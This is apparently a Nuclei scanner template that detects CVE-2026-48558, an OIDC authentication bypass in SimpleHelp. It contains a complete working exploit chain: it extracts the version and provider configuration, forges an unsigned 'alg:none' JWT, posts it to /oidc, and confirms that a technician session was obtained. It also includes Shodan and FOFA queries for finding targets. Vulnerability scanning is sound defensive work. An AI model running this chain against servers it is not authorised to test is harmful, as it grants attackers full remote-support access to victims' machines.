id: CVE-2026-48558
info:
name: SimpleHelp <=5.5.15 - OIDC JWT Authentication Bypass
author: 0x_Akoko,pdteam
severity: critical
description: |
SimpleHelp <= 5.5.15 and 6.0 pre-release contain an authentication bypass caused by lack of cryptographic signature verification in OIDC tokens, letting remote unauthenticated attackers gain technician sessions, exploit requires OIDC authentication configured.
impact: |
Remote attackers can bypass authentication and multi-factor authentication to gain full technician access.
remediation: |
Update to a version later than 5.5.15 or the final 6.0 release.
reference:
- https://horizon3.ai/attack-research/disclosures/cve-2026-48558-simplehelp-authentication-bypass-iocs/
- https://simple-help.com/security/simplehelp-security-update-2026-05
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/simplehelp_oidc_auth_bypass_rce.rb
- https://github.com/J4ck3LSyN-Gen2/CVE-2026-48558
- https://nvd.nist.gov/vuln/detail/CVE-2026-48558
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48558
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-48558
cwe-id: CWE-347
epss-score: 0.64313
epss-percentile: 0.99184
metadata:
verified: true
max-request: 5
vendor: simple-help
product: simplehelp
shodan-query: html:"SimpleHelp"
fofa-query: body="SimpleHelp"
tags: cve,cve2026,simplehelp,auth-bypass,oidc,jwt,kev,vkev,intrusive,vuln
flow: |
(function () {
if (!http(1)) { return; }
var minor = parseInt(template["sh_minor"] || "99");
if (isNaN(minor) || minor > 15) { return; }
http(2);
var providers_raw = template["providers_raw"];
if (!providers_raw) { return; }
var providers;
try {
providers = JSON.parse(providers_raw);
} catch (e) { return; }
if (!providers || !providers[0]) { return; }
var provider = null;
for (var i = 0; i < providers.length; i++) {
if (providers[i]["type"] === "oidc" || providers[i]["type"] === "azure") {
provider = providers[i];
break;
}
}
if (!provider) { return; }
var root = (template["http_1_host"] || "").replace(/\/+$/, "");
if (!root) { return; }
provider["callback"] = root + "/webapps/technician/";
set("oidc_payload_enc", encodeURIComponent(JSON.stringify(provider)));
http(3);
var auth_url_str = template["auth_url_raw"] || "";
var auth_url;
try {
auth_url = JSON.parse(auth_url_str);
} catch (e) {
auth_url = auth_url_str.replace(/^"/, "").replace(/"$/, "").trim();
}
if (!auth_url) { return; }
var state_m = auth_url.match(/[?&]state=([^&\s"'<>]+)/);
if (!state_m) { return; }
var nonce_m = auth_url.match(/[?&]nonce=([^&\s"'<>]+)/);
var nonce = nonce_m ? nonce_m[1] : "";
function b64url(s) {
var CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
var bytes = [];
for (var c = 0; c < s.length; c++) { bytes.push(s.charCodeAt(c) & 0xFF); }
var out = "";
var j = 0;
while (j < bytes.length) {
var b0 = bytes[j++];
var b1 = (j < bytes.length) ? bytes[j++] : -1;
var b2 = (j < bytes.length) ? bytes[j++] : -1;
out += CHARS[b0 >> 2];
out += CHARS[((b0 & 3) << 4) | (b1 < 0 ? 0 : (b1 >> 4))];
if (b1 >= 0) { out += CHARS[((b1 & 15) << 2) | (b2 < 0 ? 0 : (b2 >> 6))]; }
if (b2 >= 0) { out += CHARS[b2 & 63]; }
}
return out;
}
var now = Math.floor(new Date().getTime() / 1000);
var jwt_header = {"alg":"none","typ":"JWT"};
var jwt_payload = {
"sub": "probe-cve-2026-48558",
"preferred_username": "probe-check",
"name": "ProbeCheck",
"email": "probe-check@probetest.invalid",
"iat": now,
"exp": now + 3600
};
if (nonce) { jwt_payload["nonce"] = nonce; }
var forged_jwt = b64url(JSON.stringify(jwt_header)) + "." +
b64url(JSON.stringify(jwt_payload)) + ".x";
set("oidc_post_body",
"state=" + encodeURIComponent(state_m[1]) +
"&id_token=" + encodeURIComponent(forged_jwt));
http(4);
http(5);
})();
http:
- method: GET
path:
- "{{BaseURL}}/allversions"
cookie-reuse: true
matchers:
- type: regex
part: body
regex:
- "Visual Version:\\s+5\\.5\\.(\\d+)"
internal: true
extractors:
- type: regex
name: sh_minor
part: body
group: 1
regex:
- "Visual Version:\\s+5\\.5\\.(\\d+)"
internal: true
- method: GET
path:
- "{{BaseURL}}/auth/v1/account/login_options"
cookie-reuse: true
matchers:
- type: status
status:
- 200
internal: true
extractors:
- type: dsl
name: providers_raw
dsl:
- "body"
internal: true
- raw:
- |
GET /auth/v1/account/oidc_get?payload={{oidc_payload_enc}} HTTP/1.1
Host: {{Hostname}}
Accept: application/json, */*
cookie-reuse: true
matchers:
- type: status
status:
- 200
internal: true
extractors:
- type: dsl
name: auth_url_raw
dsl:
- "body"
internal: true
- raw:
- |
POST /oidc HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
{{oidc_post_body}}
cookie-reuse: true
redirects: false
matchers:
- type: dsl
dsl:
- "status_code == 200 || status_code == 302"
internal: true
- method: GET
path:
- "{{BaseURL}}/auth/v1/account/status"
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "FULLY_AUTHENTICATED")'
- 'contains(body, "\"code\":1") || contains(body, "\"code\": 1")'
condition: and
extractors:
- type: dsl
dsl:
- 'username + " | " + email'
- type: json
part: body
json:
- ".user.username"
name: username
internal: true
- type: json
part: body
json:
- ".user.emailAddress"
name: email
# digest: 4b0a00483046022100fbea454d420701f93a37bde8ac879f487b787ea6ff703a6b07fb3dc087a8c5bb022100a96d0eedda6a9ebfe2c0b965f025282087ac22926f13424fb1ac6623ae7ab727:922c64590222798bb761d5b6d8e72950